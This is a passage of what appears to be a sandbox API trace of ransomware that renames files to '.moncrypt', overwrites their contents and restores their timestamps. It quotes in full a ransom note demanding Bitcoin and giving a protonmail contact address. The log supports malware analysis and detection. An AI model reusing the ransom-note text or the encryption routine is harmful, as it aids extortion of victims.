lpUsedDefaultChar=0x0) returned 1 [0052.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpUsedDefaultChar=0x0) returned 75 [0052.490] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0052.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", lpUsedDefaultChar=0x0) returned 4 [0052.490] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.490] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.490] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.490] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.490] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.491] GlobalUnlock (hMem=0x44000c) returned 0 [0052.491] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.491] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.491] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.491] GlobalUnlock (hMem=0x44000c) returned 0 [0052.491] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.491] GlobalUnlock (hMem=0x440004) returned 0 [0052.491] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.491] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0052.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.491] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 75 [0052.492] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0052.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 4 [0052.492] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.492] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.492] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.492] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.492] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.492] GlobalUnlock (hMem=0x440004) returned 0 [0052.492] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.492] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.492] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.492] GlobalUnlock (hMem=0x440004) returned 0 [0052.492] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.492] GlobalUnlock (hMem=0x44000c) returned 0 [0052.492] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.492] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0052.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.493] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 76 [0052.493] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0052.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\PAPYRUS\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 4 [0052.493] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0052.493] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.493] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.493] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0052.494] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.moncrypt")) returned 1 [0052.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.495] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.495] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x9240 [0052.495] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.495] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.503] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.503] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.504] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.504] GlobalUnlock (hMem=0x440004) returned 0 [0052.504] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.504] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.504] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.504] GlobalUnlock (hMem=0x440004) returned 0 [0052.504] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.504] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.504] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.504] GlobalUnlock (hMem=0x44000c) returned 0 [0052.504] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.505] GlobalUnlock (hMem=0x440004) returned 0 [0052.505] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.505] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.505] GlobalUnlock (hMem=0x440004) returned 0 [0052.505] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.505] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.505] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.505] GlobalUnlock (hMem=0x440004) returned 0 [0052.505] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.505] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.505] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.505] SetFilePointer (in: hFile=0x18c, lDistanceToMove=37440, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x9240 [0052.505] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.505] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.505] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.516] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.516] CloseHandle (hObject=0x18c) returned 1 [0052.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.517] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.517] CloseHandle (hObject=0x18c) returned 1 [0052.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0052.518] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.518] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.518] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.518] GlobalUnlock (hMem=0x440004) returned 0 [0052.518] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.518] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.518] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.518] GlobalUnlock (hMem=0x440004) returned 0 [0052.518] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.518] GlobalUnlock (hMem=0x44000c) returned 0 [0052.518] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40798a00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40798a00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40798a00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0052.518] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0052.518] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0052.518] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.518] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.519] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.519] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.519] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.519] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.519] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.519] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0052.519] CloseHandle (hObject=0x18c) returned 1 [0052.519] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, 